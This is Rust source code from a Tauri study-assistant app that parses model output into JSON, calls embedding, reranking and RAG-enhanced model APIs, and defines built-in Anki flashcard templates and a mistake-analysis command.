"以上就是分析结果。", "分析完成。", "希望对您有帮助。",
"That's the analysis.", "Analysis complete.",
];
for suffix in &suffixes {
if cleaned.ends_with(suffix) {
cleaned = cleaned.strip_suffix(suffix).unwrap_or(&cleaned).trim().to_string();
}
}
cleaned
}
/// 智能JSON提取函数
fn smart_extract_json_from_text(text: &str) -> Option<String> {
// 使用正则表达式查找JSON对象
let json_pattern = regex::Regex::new(r#"\{[^{}]*"ocr_text"[^{}]*"tags"[^{}]*"mistake_type"[^{}]*\}"#).unwrap();
if let Some(captures) = json_pattern.find(text) {
return Some(captures.as_str().to_string());
}
// 备用方法：查找花括号包围的内容
let mut brace_depth = 0;
let mut start_pos = None;
let mut end_pos = None;
for (i, ch) in text.char_indices() {
match ch {
'{' => {
if brace_depth == 0 {
start_pos = Some(i);
}
brace_depth += 1;
}
'}' => {
brace_depth -= 1;
if brace_depth == 0 && start_pos.is_some() {
end_pos = Some(i + 1);
break;
}
}
_ => {}
}
}
if let (Some(start), Some(end)) = (start_pos, end_pos) {
let json_candidate = &text[start..end];
// 验证是否包含必需字段
if json_candidate.contains("ocr_text") &&
json_candidate.contains("tags") &&
json_candidate.contains("mistake_type") {
return Some(json_candidate.to_string());
}
}
None
}
/// 从内容中重构JSON（当结构化JSON无法提取时）
fn reconstruct_json_from_content(content: &str) -> Option<String> {
// 使用正则表达式提取各个字段的值
let ocr_pattern = regex::Regex::new(r#"(?i)(?:ocr_text|题目内容|文字内容|题目文字)[":\s]*["']?([^"'\n\r}]+)["']?"#).unwrap();
let tags_pattern = regex::Regex::new(r#"(?i)(?:tags|标签|知识点)[":\s]*\[([^\]]+)\]"#).unwrap();
let type_pattern = regex::Regex::new(r#"(?i)(?:mistake_type|题目类型|类型)[":\s]*["']?([^"'\n\r}]+)["']?"#).unwrap();
let mut ocr_text = "";
let mut tags_text = "";
let mut mistake_type = "";
// 提取OCR文本
if let Some(captures) = ocr_pattern.captures(content) {
ocr_text = captures.get(1).map(|m| m.as_str().trim()).unwrap_or("");
}
// 提取标签
if let Some(captures) = tags_pattern.captures(content) {
tags_text = captures.get(1).map(|m| m.as_str().trim()).unwrap_or("");
}
// 提取错误类型
if let Some(captures) = type_pattern.captures(content) {
mistake_type = captures.get(1).map(|m| m.as_str().trim()).unwrap_or("");
}
// 如果至少提取到一些内容，构建JSON
if !ocr_text.is_empty() || !tags_text.is_empty() || !mistake_type.is_empty() {
// 处理标签字符串
let tags_array = if tags_text.is_empty() {
"[]".to_string()
} else {
let tags: Vec<String> = tags_text
.split(',')
.map(|tag| format!("\"{}\"", tag.trim().trim_matches('"').trim_matches('\'')))
.collect();
format!("[{}]", tags.join(", "))
};
let json = format!(
r#"{{"ocr_text": "{}", "tags": {}, "mistake_type": "{}"}}"#,
ocr_text.replace('"', "\\\""),
tags_array,
mistake_type.replace('"', "\\\"")
);
return Some(json);
}
None
}
/// 创建降级JSON（最后的兜底方案）
fn create_fallback_json(content: &str) -> String {
println!("📋 创建降级JSON，原始内容: '{}'", content);
// 特殊处理空响应或只有符号的响应
if content.trim().is_empty() || content.trim() == "{}" || content.trim() == "[]" {
println!("⚠️ 检测到空响应，生成默认内容");
return format!(
r#"{{"ocr_text": "模型响应为空，无法识别题目内容", "tags": ["API响应异常", "需要人工处理"], "mistake_type": "系统错误"}}"#
);
}
// 尝试从内容中提取一些有用信息作为OCR文本
let mut ocr_content = content
.lines()
.filter(|line| !line.trim().is_empty())
.filter(|line| !line.contains("JSON") && !line.contains("格式"))
.take(3)
.collect::<Vec<_>>()
.join(" ");
// 清理内容
ocr_content = ocr_content.replace('"', "\\\"");
if ocr_content.chars().count() > 200 {
ocr_content = format!("{}...", ocr_content.chars().take(200).collect::<String>());
}
if ocr_content.is_empty() || ocr_content == "{}" {
ocr_content = "无法识别题目内容，模型响应异常".to_string();
}
format!(
r#"{{"ocr_text": "{}", "tags": ["需要人工标注"], "mistake_type": "未分类"}}"#,
ocr_content
)
}
// ==================== RAG相关扩展方法 ====================
impl LLMManager {
/// 获取嵌入模型配置
pub async fn get_embedding_model_config(&self) -> Result<ApiConfig> {
let assignments = self.get_model_assignments().await?;
let embedding_model_id = assignments.embedding_model_config_id
.ok_or_else(|| AppError::configuration("未配置嵌入模型"))?;
let configs = self.get_api_configs().await?;
configs.into_iter()
.find(|config| config.id == embedding_model_id)
.ok_or_else(|| AppError::configuration("找不到嵌入模型配置"))
}
/// 获取重排序模型配置
pub async fn get_reranker_model_config(&self) -> Result<ApiConfig> {
let assignments = self.get_model_assignments().await?;
let reranker_model_id = assignments.reranker_model_config_id
.ok_or_else(|| AppError::configuration("未配置重排序模型"))?;
let configs = self.get_api_configs().await?;
configs.into_iter()
.find(|config| config.id == reranker_model_id)
.ok_or_else(|| AppError::configuration("找不到重排序模型配置"))
}
/// 调用嵌入API生成向量
pub async fn call_embedding_api(&self, texts: Vec<String>, model_config_id: &str) -> Result<Vec<Vec<f32>>> {
println!("🧠 调用嵌入API，文本数量: {}", texts.len());
// 获取API配置
let configs = self.get_api_configs().await?;
let config = configs.iter()
.find(|c| c.id == model_config_id)
.ok_or_else(|| AppError::configuration("找不到嵌入模型配置"))?;
// 解密API密钥
let api_key = self.decrypt_api_key_if_needed(&config.api_key)?;
// 构造请求
let request_body = match config.model_adapter.as_str() {
"openai" | "general" => {
json!({
"model": config.model,
"input": texts,
"encoding_format": "float"
})
}
"claude" => {
// Claude目前不直接支持嵌入，这里返回错误
return Err(AppError::configuration("Claude模型不支持嵌入API"));
}
"deepseek" => {
json!({
"model": config.model,
"input": texts,
"encoding_format": "float"
})
}
_ => {
// 默认使用OpenAI格式
json!({
"model": config.model,
"input": texts,
"encoding_format": "float"
})
}
};
// 发送请求
let url = format!("{}/embeddings", config.base_url.trim_end_matches('/'));
let mut request_builder = self.client
.post(&url)
.header("Authorization", format!("Bearer {}", api_key))
.header("Content-Type", "application/json")
.header("Accept", "application/json, text/plain, */*")
.header("Accept-Encoding", "identity") // 禁用压缩，避免二进制响应
.header("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8")
.header("Connection", "keep-alive")
.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36");
if let Ok(parsed_url) = Url::parse(&config.base_url) { // config is the specific model config here
if (parsed_url.scheme() == "http" || parsed_url.scheme() == "https") && parsed_url.host_str().is_some() {
let origin_val = format!("{}://{}", parsed_url.scheme(), parsed_url.host_str().unwrap_or_default());
let referer_val = format!("{}://{}/", parsed_url.scheme(), parsed_url.host_str().unwrap_or_default());
request_builder = request_builder
.header("Origin", origin_val)
.header("Referer", referer_val);
}
}
let response = request_builder
.json(&request_body)
.send()
.await
.map_err(|e| AppError::network(format!("嵌入API请求失败: {}", e)))?;
if !response.status().is_success() {
let status = response.status();
let error_text = response.text().await.unwrap_or_default();
return Err(AppError::llm(format!("嵌入API返回错误 {}: {}", status, error_text)));
}
let response_json: Value = response.json().await
.map_err(|e| AppError::llm(format!("解析嵌入API响应失败: {}", e)))?;
// 解析嵌入向量
let data = response_json["data"].as_array()
.ok_or_else(|| AppError::llm("嵌入API响应格式无效：缺少data字段"))?;
let mut embeddings = Vec::new();
for item in data {
let embedding = item["embedding"].as_array()
.ok_or_else(|| AppError::llm("嵌入API响应格式无效：缺少embedding字段"))?;
let vector: Result<Vec<f32>> = embedding.iter()
.map(|v| v.as_f64()
.map(|f| f as f32)
.ok_or_else(|| AppError::llm("嵌入向量包含无效数值")))
.collect();
embeddings.push(vector?);
}
if embeddings.len() != texts.len() {
return Err(AppError::llm("嵌入向量数量与输入文本数量不匹配"));
}
println!("✅ 嵌入API调用成功，返回 {} 个向量", embeddings.len());
Ok(embeddings)
}
/// 调用重排序API
pub async fn call_reranker_api(
&self,
query: String,
chunks: Vec<crate::models::RetrievedChunk>,
model_config_id: &str
) -> Result<Vec<crate::models::RetrievedChunk>> {
println!("🔄 调用重排序API，候选文档数量: {}", chunks.len());
// 获取API配置
let configs = self.get_api_configs().await?;
let config = configs.iter()
.find(|c| c.id == model_config_id)
.ok_or_else(|| AppError::configuration("找不到重排序模型配置"))?;
// 解密API密钥
let api_key = self.decrypt_api_key_if_needed(&config.api_key)?;
// 构造重排序请求
let documents: Vec<String> = chunks.iter()
.map(|chunk| chunk.chunk.text.clone())
.collect();
let request_body = json!({
"model": config.model,
"query": query,
"documents": documents,
"top_k": chunks.len(),
"return_documents": true
});
// 发送请求
let url = format!("{}/rerank", config.base_url.trim_end_matches('/'));
let mut request_builder = self.client
.post(&url)
.header("Authorization", format!("Bearer {}", api_key))
.header("Content-Type", "application/json")
.header("Accept", "application/json, text/plain, */*")
.header("Accept-Encoding", "identity") // 禁用压缩，避免二进制响应
.header("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8")
.header("Connection", "keep-alive")
.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36");
if let Ok(parsed_url) = Url::parse(&config.base_url) { // config is the specific model config here
if (parsed_url.scheme() == "http" || parsed_url.scheme() == "https") && parsed_url.host_str().is_some() {
let origin_val = format!("{}://{}", parsed_url.scheme(), parsed_url.host_str().unwrap_or_default());
let referer_val = format!("{}://{}/", parsed_url.scheme(), parsed_url.host_str().unwrap_or_default());
request_builder = request_builder
.header("Origin", origin_val)
.header("Referer", referer_val);
}
}
let response = request_builder
.json(&request_body)
.send()
.await
.map_err(|e| AppError::network(format!("重排序API请求失败: {}", e)))?;
if !response.status().is_success() {
let status = response.status();
let error_text = response.text().await.unwrap_or_default();
return Err(AppError::llm(format!("重排序API返回错误 {}: {}", status, error_text)));
}
let response_json: Value = response.json().await
.map_err(|e| AppError::llm(format!("解析重排序API响应失败: {}", e)))?;
// 解析重排序结果
let results = response_json["results"].as_array()
.ok_or_else(|| AppError::llm("重排序API响应格式无效：缺少results字段"))?;
let mut reranked_chunks = Vec::new();
for result in results {
let index = result["index"].as_u64()
.ok_or_else(|| AppError::llm("重排序结果缺少index字段"))? as usize;
let relevance_score = result["relevance_score"].as_f64()
.ok_or_else(|| AppError::llm("重排序结果缺少relevance_score字段"))? as f32;
if index < chunks.len() {
let mut reranked_chunk = chunks[index].clone();
reranked_chunk.score = relevance_score;
reranked_chunks.push(reranked_chunk);
}
}
println!("✅ 重排序API调用成功，返回 {} 个重排序结果", reranked_chunks.len());
Ok(reranked_chunks)
}
/// RAG增强的流式模型调用
pub async fn call_rag_enhanced_model_stream(
&self,
analysis_context: &std::collections::HashMap<String, serde_json::Value>,
retrieved_context: Vec<crate::models::RetrievedChunk>,
chat_history: &[ChatMessage],
subject: &str,
enable_chain_of_thought: bool,
image_paths: Option<Vec<String>>, // 🎯 修复：添加图片路径参数
window: Window,
stream_event: &str,
) -> Result<StandardModel2Output> {
println!("🚀 开始RAG增强的流式模型调用");
// 构建增强的上下文
let mut enhanced_context = analysis_context.clone();
// 添加检索到的上下文
if !retrieved_context.is_empty() {
let context_text = retrieved_context.iter()
.enumerate()
.map(|(i, chunk)| {
format!(
"--- 参考信息{} (来源: {}) ---\n{}",
i + 1,
chunk.chunk.metadata.get("file_name").unwrap_or(&"unknown".to_string()),
chunk.chunk.text
)
})
.collect::<Vec<_>>()
.join("\n\n");
enhanced_context.insert("rag_context".to_string(), serde_json::Value::String(context_text));
}
enhanced_context.insert("has_rag_context".to_string(), serde_json::Value::Bool(!retrieved_context.is_empty()));
// 发送RAG来源信息事件到前端
if !retrieved_context.is_empty() {
let rag_sources: Vec<serde_json::Value> = retrieved_context.iter().map(|chunk| {
serde_json::json!({
"document_id": chunk.chunk.document_id,
"file_name": chunk.chunk.metadata.get("file_name").unwrap_or(&"unknown".to_string()),
"chunk_text": chunk.chunk.text,
"score": chunk.score,
"chunk_index": chunk.chunk.chunk_index
})
}).collect();
let rag_sources_event = format!("{}_rag_sources", stream_event);
let rag_payload = serde_json::json!({
"sources": rag_sources
});
// 发送RAG来源信息事件
if let Err(e) = window.emit(&rag_sources_event, &rag_payload) {
println!("⚠️ 发送RAG来源信息事件失败: {}", e);
} else {
println!("✅ RAG来源信息事件已发送: {} 个来源", rag_sources.len());
}
}
// 调用原有的流式模型方法，传入增强的上下文
self.call_unified_model_2_stream(
&enhanced_context,
chat_history,
subject,
enable_chain_of_thought,
image_paths, // 🎯 修复：传递图片路径参数
Some("rag_enhanced_analysis"), // 任务类型标识
window,
stream_event,
).await
}
}
|
000haoji/deep-student
| 158,584 |
src-tauri/src/commands.rs
|
use crate::models::{
AnalysisRequest, AnalysisResponse, ContinueChatRequest, ContinueChatResponse,
InitialAnalysisData, SaveMistakeRequest, SaveMistakeResponse,
MistakeItem, ChatMessage, ModelAssignments, AppError, ReviewAnalysisItem,
ReviewSessionResponse, ReviewSession, ReviewChatMessage, StartStreamingAnswerRequest,
SubjectConfig, CreateSubjectConfigRequest, UpdateSubjectConfigRequest,
StartConsolidatedReviewAnalysisRequest, StartConsolidatedReviewAnalysisResponse,
TriggerConsolidatedReviewStreamRequest, ContinueConsolidatedReviewStreamRequest,
ConsolidatedReviewSession, AnkiDocumentGenerationRequest, AnkiDocumentGenerationResponse,
AnkiGenerationOptions, SubLibrary, CreateSubLibraryRequest, UpdateSubLibraryRequest,
RagAddDocumentsRequest, RagAddDocumentsFromContentRequest, GetDocumentsRequest,
RagQueryOptionsWithLibraries, RagQueryOptions, RagQueryResponse,
GenerateMistakeSummaryRequest, GenerateMistakeSummaryResponse,
CustomAnkiTemplate, CreateTemplateRequest, UpdateTemplateRequest, TemplateImportRequest, TemplateExportResponse,
ImageOcrRequest, ImageOcrResponse, CreateImageOcclusionRequest, ImageOcclusionResponse, ImageOcclusionCard,
};
use crate::llm_manager::ApiConfig;
use crate::analysis_service::AnalysisService;
use crate::database::Database;
use crate::file_manager::FileManager;
use std::sync::Arc;
use tauri::{State, Window};
use std::collections::HashMap;
use uuid::Uuid;
type Result<T> = std::result::Result<T, AppError>;
use chrono::Utc;
use serde_json;
// 应用状态
pub struct AppState {
pub analysis_service: Arc<AnalysisService>,
pub database: Arc<Database>,
pub file_manager: Arc<FileManager>,
pub temp_sessions: Arc<tokio::sync::Mutex<HashMap<String, TempSession>>>,
pub llm_manager: Arc<crate::llm_manager::LLMManager>,
pub review_sessions: Arc<tokio::sync::Mutex<HashMap<String, ConsolidatedReviewSession>>>,
pub rag_manager: Arc<crate::rag_manager::RagManager>,
pub image_occlusion_service: Arc<crate::image_occlusion_service::ImageOcclusionService>,
}
#[derive(Debug, Clone)]
pub struct TempSession {
pub temp_id: String,
pub subject: String,
pub question_images: Vec<String>,
pub analysis_images: Vec<String>,
pub user_question: String,
pub ocr_text: String,
pub tags: Vec<String>,
pub mistake_type: String,
pub chat_history: Vec<ChatMessage>,
pub created_at: chrono::DateTime<Utc>,
}
/// 获取模板配置
fn get_template_config(template_id: &str) -> std::result::Result<(String, Vec<String>, String, String, String), String> {
// 内置模板配置（对应前端ankiTemplates.ts）
match template_id {
"minimal-card" => Ok((
"极简卡片".to_string(),
vec!["Front".to_string(), "Back".to_string(), "Notes".to_string()],
r#"<div class="card minimal-card">
<div class="question">{{Front}}</div>
<div class="hint">点击显示答案</div>
</div>"#.to_string(),
r#"<div class="card minimal-card">
<div class="question">{{Front}}</div>
<div class="hint">点击显示答案</div>
<div class="answer">{{Back}}</div>
{{#Notes}}
<div class="notes">
<div class="notes-label">注释：</div>
<div>{{Notes}}</div>
</div>
{{/Notes}}
</div>"#.to_string(),
r#".minimal-card {
font-family: 'Segoe UI', system-ui, sans-serif;
width: 100%;
max-width: 100%;
margin: 0;
padding: 20px;
border-radius: 16px;
background: white;
box-shadow: 0 5px 25px rgba(0,0,0,0.08);
text-align: center;
box-sizing: border-box;
overflow: hidden;
}
.question {
font-size: 20px;
font-weight: 600;
color: #2c3e50;
line-height: 1.4;
margin-bottom: 15px;
word-wrap: break-word;
}
.answer {
font-size: 16px;
color: #27ae60;
padding: 15px;
background: #f9fbfa;
border-radius: 12px;
margin: 20px 0;
border-left: 4px solid #2ecc71;
display: block;
word-wrap: break-word;
}
.hint {
font-size: 12px;
color: #95a5a6;
font-style: italic;
margin-bottom: 10px;
}
.notes {
text-align: left;
margin-top: 15px;
padding: 12px;
background: #f8f9fa;
border-radius: 10px;
font-size: 14px;
color: #7f8c8d;
word-wrap: break-word;
}
.notes-label {
font-weight: 600;
color: #3498db;
margin-bottom: 5px;
}
.card:hover {
box-shadow: 0 8px 30px rgba(0,0,0,0.12);
}"#.to_string(),
)),
"academic-card" => Ok((
"学术卡片".to_string(),
vec!["Front".to_string(), "Back".to_string(), "Example".to_string(), "Source".to_string(), "Tags".to_string()],
r#"<div class="card academic-card">
<div class="header">
<div class="deck-name">{{Deck}}</div>
<div class="card-type">知识卡片</div>
</div>
<div class="question">{{Front}}</div>
</div>"#.to_string(),
r#"<div class="card academic-card">
<div class="header">
<div class="deck-name">{{Deck}}</div>
<div class="card-type">知识卡片</div>
</div>
<div class="question">{{Front}}</div>
<div class="divider"></div>
<div class="answer">
<div class="definition">{{Back}}</div>
{{#Example}}
<div class="example">
<div class="example-label">示例：</div>
<div>{{Example}}</div>
</div>
{{/Example}}
</div>
<div class="footer">
<div class="source">{{Source}}</div>
<div class="tags">{{#Tags}}<span class="tag">{{.}}</span>{{/Tags}}</div>
</div>
</div>"#.to_string(),
r#".academic-card {
font-family: 'Georgia', serif;
width: 100%;
max-width: 100%;
margin: 0;
padding: 20px;
background: #fcfaf7;
border: 1px solid #e6e2dd;
box-shadow: 0 3px 10px rgba(0,0,0,0.05);
box-sizing: border-box;
overflow: hidden;
}
.header {
display: flex;
justify-content: space-between;
margin-bottom: 15px;
font-size: 12px;
color: #95a5a6;
}
.question {
font-size: 20px;
font-weight: bold;
color: #2c3e50;
text-align: center;
margin: 15px 0 20px;
word-wrap: break-word;
}
.divider {
height: 1px;
background: linear-gradient(90deg, transparent, #bdc3c7, transparent);
margin: 10px 0 15px;
}
.definition {
font-size: 16px;
line-height: 1.6;
color: #34495e;
text-align: justify;
word-wrap: break-word;
}
.example {
margin-top: 15px;
padding: 12px;
background: #f8f9fa;
border-left: 3px solid #3498db;
word-wrap: break-word;
}
.example-label {
font-weight: bold;
color: #2980b9;
margin-bottom: 5px;
}
.footer {
display: flex;
justify-content: space-between;
margin-top: 20px;
font-size: 11px;
color: #7f8c8d;
flex-wrap: wrap;
}
.tag {
display: inline-block;
background: #ecf0f1;
padding: 2px 8px;
border-radius: 12px;
margin-left: 3px;
margin-bottom: 2px;
font-size: 10px;
}"#.to_string(),
)),
"code-card" => Ok((
"编程卡片".to_string(),
vec!["Front".to_string(), "Back".to_string(), "Code".to_string()],
r#"<div class="card code-card">
<div class="question">{{Front}}</div>
<div class="hint">// 点击查看解决方案</div>
</div>"#.to_string(),
r#"<div class="card code-card">
<div class="question">{{Front}}</div>
<div class="hint">// 点击查看解决方案</div>
<div class="answer">
{{#Code}}
<pre><code>{{Code}}</code></pre>
{{/Code}}
<div class="explanation">{{Back}}</div>
</div>
</div>"#.to_string(),
r#".code-card {
font-family: 'Fira Code', 'Consolas', monospace;
width: 100%;
max-width: 100%;
margin: 0;
padding: 20px;
background: #2d3748;
color: #cbd5e0;
border-radius: 8px;
box-shadow: 0 10px 25px rgba(0,0,0,0.3);
box-sizing: border-box;
overflow: hidden;
}
.question {
font-size: 16px;
line-height: 1.5;
color: #81e6d9;
margin-bottom: 15px;
word-wrap: break-word;
}
.hint {
text-align: center;
color: #718096;
font-style: italic;
margin-bottom: 15px;
font-size: 12px;
}
pre {
background: #1a202c;
padding: 15px;
border-radius: 6px;
overflow-x: auto;
border-left: 3px solid #63b3ed;
font-size: 12px;
line-height: 1.4;
word-wrap: break-word;
white-space: pre-wrap;
}
code {
color: #feb2b2;
word-wrap: break-word;
}
.explanation {
margin-top: 15px;
padding: 12px;
background: #4a5568;
border-radius: 6px;
font-size: 14px;
line-height: 1.6;
word-wrap: break-word;
}"#.to_string(),
)),
"cloze-card" => Ok((
"填空题卡片".to_string(),
vec!["Text".to_string(), "Hint".to_string(), "Source".to_string()],
r#"<div class="card cloze-card">
<div class="cloze-text">{{cloze:Text}}</div>
{{#Hint}}
<div class="hint-section">
<div class="hint-label">💡 提示：</div>
<div class="hint-content">{{Hint}}</div>
</div>
{{/Hint}}
</div>"#.to_string(),
r#"<div class="card cloze-card">
<div class="cloze-text">{{cloze:Text}}</div>
{{#Hint}}
<div class="hint-section">
<div class="hint-label">💡 提示：</div>
<div class="hint-content">{{Hint}}</div>
</div>
{{/Hint}}
<div class="complete-text">
<div class="complete-label">完整内容：</div>
<div class="complete-content">{{Text}}</div>
</div>
{{#Source}}
<div class="source-section">
<span class="source-label">📚 来源：</span>
<span class="source-content">{{Source}}</span>
</div>
{{/Source}}
</div>"#.to_string(),
r#".cloze-card {
font-family: 'PingFang SC', 'Microsoft YaHei', sans-serif;
width: 100%;
max-width: 100%;
margin: 0;
padding: 24px;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
border-radius: 12px;
box-shadow: 0 8px 32px rgba(102, 126, 234, 0.3);
box-sizing: border-box;
overflow: hidden;
position: relative;
}
.cloze-card::before {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(255, 255, 255, 0.1);
backdrop-filter: blur(10px);
border-radius: 12px;
z-index: -1;
}
.cloze-text {
font-size: 18px;
line-height: 1.6;
margin-bottom: 20px;
text-align: justify;
word-wrap: break-word;
}
.cloze {
background: #FFD700;
color: #2c3e50;
padding: 2px 8px;
border-radius: 6px;
font-weight: 600;
box-shadow: 0 2px 4px rgba(0,0,0,0.2);
}
.hint-section {
background: rgba(255, 255, 255, 0.2);
padding: 12px;
border-radius: 8px;
margin: 15px 0;
border-left: 4px solid #FFD700;
}
.hint-label {
font-weight: 600;
font-size: 14px;
margin-bottom: 5px;
color: #FFD700;
}
.hint-content {
font-size: 14px;
line-height: 1.4;
opacity: 0.9;
}
.complete-text {
background: rgba(255, 255, 255, 0.15);
padding: 15px;
border-radius: 8px;
margin-top: 20px;
border: 1px solid rgba(255, 255, 255, 0.3);
}
.complete-label {
font-weight: 600;
font-size: 14px;
margin-bottom: 8px;
color: #E8F4FD;
}
.complete-content {
font-size: 16px;
line-height: 1.5;
color: #F8F9FA;
}
.source-section {
margin-top: 15px;
padding-top: 10px;
border-top: 1px solid rgba(255, 255, 255, 0.3);
font-size: 12px;
opacity: 0.8;
}
.source-label {
font-weight: 600;
}"#.to_string(),
)),
"choice-card" => Ok((
"选择题卡片".to_string(),
vec!["Front".to_string(), "optiona".to_string(), "optionb".to_string(), "optionc".to_string(), "optiond".to_string(), "correct".to_string(), "explanation".to_string()],
r#"<div class="card choice-card">
<div class="question-section">
<div class="question-label">📝 题目</div>
<div class="question-text">{{Front}}</div>
</div>
<div class="options-section">
<div class="option clickable" onclick="selectOption('A', '{{correct}}')">
<span class="option-label">A</span>
<span class="option-text">{{optiona}}</span>
<span class="feedback" style="display: none;"></span>
</div>
<div class="option clickable" onclick="selectOption('B', '{{correct}}')">
<span class="option-label">B</span>
<span class="option-text">{{optionb}}</span>
<span class="feedback" style="display: none;"></span>
</div>
<div class="option clickable" onclick="selectOption('C', '{{correct}}')">
<span class="option-label">C</span>
<span class="option-text">{{optionc}}</span>
<span class="feedback" style="display: none;"></span>
</div>
<div class="option clickable" onclick="selectOption('D', '{{correct}}')">
<span class="option-label">D</span>
<span class="option-text">{{optiond}}</span>
<span class="feedback" style="display: none;"></span>
</div>
</div>
<div class="instruction">点击选项查看结果</div>
{{#explanation}}
<div class="explanation-section" style="display: none;">
<div class="explanation-label">💡 解析</div>
<div class="explanation-text">{{explanation}}</div>
</div>
{{/explanation}}
<script>
function selectOption(selected, correct) {
const options = document.querySelectorAll('.choice-card .option');
const explanationSection = document.querySelector('.choice-card .explanation-section');
options.forEach(option => {
option.classList.remove('clickable');
option.onclick = null;
const label = option.querySelector('.option-label').textContent;
const feedback = option.querySelector('.feedback');
if (label === selected) {
if (selected === correct) {
option.classList.add('correct-selected');
feedback.innerHTML = '✓ 正确';
feedback.style.color = '#22c55e';
} else {
option.classList.add('wrong-selected');
feedback.innerHTML = '✗ 错误';
feedback.style.color = '#ef4444';
}
feedback.style.display = 'inline';
} else if (label === correct) {
option.classList.add('correct-answer');
const correctFeedback = option.querySelector('.feedback');
correctFeedback.innerHTML = '✓ 正确答案';
correctFeedback.style.color = '#22c55e';
correctFeedback.style.display = 'inline';
}
});
if (explanationSection) {
explanationSection.style.display = 'block';
}
document.querySelector('.choice-card .instruction').textContent =
selected === correct ? '答对了！' : '答错了，正确答案是 ' + correct;
}
</script>
</div>"#.to_string(),
r#"<div class="card choice-card">
<div class="question-section">
<div class="question-label">📝 题目</div>
<div class="question-text">{{Front}}</div>
</div>
<div class="options-section answered">
<div class="option">
<span class="option-label">A</span>
<span class="option-text">{{optiona}}</span>
</div>
<div class="option">
<span class="option-label">B</span>
<span class="option-text">{{optionb}}</span>
</div>
<div class="option">
<span class="option-label">C</span>
<span class="option-text">{{optionc}}</span>
</div>
<div class="option">
<span class="option-label">D</span>
<span class="option-text">{{optiond}}</span>
</div>
</div>
<div class="answer-section">
<div class="answer-label">✅ 正确答案：{{correct}}</div>
</div>
{{#explanation}}
<div class="explanation-section">
<div class="explanation-label">💡 解析</div>
<div class="explanation-text">{{explanation}}</div>
</div>
{{/explanation}}
</div>"#.to_string(),
r#".choice-card {
font-family: 'PingFang SC', 'Microsoft YaHei', sans-serif;
width: 100%;
max-width: 100%;
margin: 0;
padding: 20px;
background: #f8fafc;
border: 2px solid #e2e8f0;
border-radius: 12px;
box-shadow: 0 4px 20px rgba(0,0,0,0.08);
box-sizing: border-box;
overflow: hidden;
}
.question-section {
margin-bottom: 20px;
}
.question-label {
font-size: 14px;
font-weight: 600;
color: #3b82f6;
margin-bottom: 8px;
}
.question-text {
font-size: 18px;
font-weight: 500;
color: #1e293b;
line-height: 1.6;
word-wrap: break-word;
}
.options-section {
margin-bottom: 20px;
}
.option {
display: flex;
align-items: center;
padding: 12px;
margin: 8px 0;
background: white;
border: 1px solid #e2e8f0;
border-radius: 8px;
transition: all 0.2s ease;
position: relative;
}
.option.clickable {
cursor: pointer;
}
.option.clickable:hover {
border-color: #3b82f6;
box-shadow: 0 2px 8px rgba(59, 130, 246, 0.1);
transform: translateY(-1px);
}
.option.correct-selected {
background: #dcfce7;
border-color: #22c55e;
box-shadow: 0 2px 8px rgba(34, 197, 94, 0.2);
}
.option.wrong-selected {
background: #fee2e2;
border-color: #ef4444;
box-shadow: 0 2px 8px rgba(239, 68, 68, 0.2);
}
.option.correct-answer {
background: #f0f9ff;
border-color: #22c55e;
box-shadow: 0 2px 8px rgba(34, 197, 94, 0.15);
}
.feedback {
font-weight: 600;
font-size: 14px;
margin-left: auto;
}
.option-label {
display: inline-flex;
align-items: center;
justify-content: center;
width: 24px;
height: 24px;
background: #f1f5f9;
color: #475569;
border-radius: 50%;
font-weight: 600;
font-size: 14px;
margin-right: 12px;
flex-shrink: 0;
}
.option-text {
flex: 1;
font-size: 16px;
color: #334155;
line-height: 1.5;
word-wrap: break-word;
}
.answer-section {
background: #dcfce7;
border: 1px solid #22c55e;
border-radius: 8px;
padding: 12px;
margin: 15px 0;
}
.answer-label {
font-weight: 600;
color: #15803d;
font-size: 16px;
}
.explanation-section {
background: #fffbeb;
border: 1px solid #f59e0b;
border-radius: 8px;
padding: 15px;
margin-top: 15px;
}
.explanation-label {
font-weight: 600;
color: #d97706;
margin-bottom: 8px;
font-size: 14px;
}
.explanation-text {
color: #92400e;
line-height: 1.6;
font-size: 14px;
word-wrap: break-word;
}
.instruction {
text-align: center;
color: #64748b;
font-style: italic;
font-size: 14px;
padding: 10px;
background: #f1f5f9;
border-radius: 6px;
}"#.to_string(),
)),
_ => Err(format!("未知的模板ID: {}", template_id))
}
}
// 分析新错题 - 流式版本
#[tauri::command]
pub async fn analyze_new_mistake_stream(
request: AnalysisRequest,
window: Window,
state: State<'_, AppState>,
) -> Result<AnalysisResponse> {
// 生成临时ID
let temp_id = Uuid::new_v4().to_string();
println!("🚀 启动流式AI解答: {}, 思维链: {}", temp_id, true);
// 安全地截取用户问题，使用字符边界而非字节边界
let question_preview = if request.user_question.chars().count() > 50 {
request.user_question.chars().take(50).collect::<String>() + "..."
} else {
request.user_question.clone()
};
println!("📝 请求信息: 科目={}, 题目图片={}, 解析图片={}, 用户问题={}",
request.subject,
request.question_image_files.len(),
request.analysis_image_files.len(),
question_preview
);
// 保存图片到本地
let mut question_image_paths = Vec::new();
for (index, base64_data) in request.question_image_files.iter().enumerate() {
let file_name = format!("question_{}_{}.jpg", temp_id, index);
let path = state.file_manager.save_image_from_base64(base64_data, &file_name)
.await?;
question_image_paths.push(path);
}
let mut analysis_image_paths = Vec::new();
for (index, base64_data) in request.analysis_image_files.iter().enumerate() {
let file_name = format!("analysis_{}_{}.jpg", temp_id, index);
let path = state.file_manager.save_image_from_base64(base64_data, &file_name)
.await?;
analysis_image_paths.push(path);
}
// 调用分析服务（流式）
let stream_event = format!("analysis_stream_{}", temp_id);
let analysis_result = state.analysis_service.analyze_mistake_stream(
&question_image_paths,
&request.user_question,
&request.subject,
window,
&stream_event,
).await?;
// 创建临时会话
let temp_session = TempSession {
temp_id: temp_id.clone(),
subject: request.subject,
question_images: question_image_paths,
analysis_images: analysis_image_paths,
user_question: request.user_question,
ocr_text: analysis_result.ocr_text.clone(),
tags: analysis_result.tags.clone(),
mistake_type: analysis_result.mistake_type.clone(),
chat_history: vec![ChatMessage {
role: "assistant".to_string(),
content: analysis_result.first_answer.clone(),
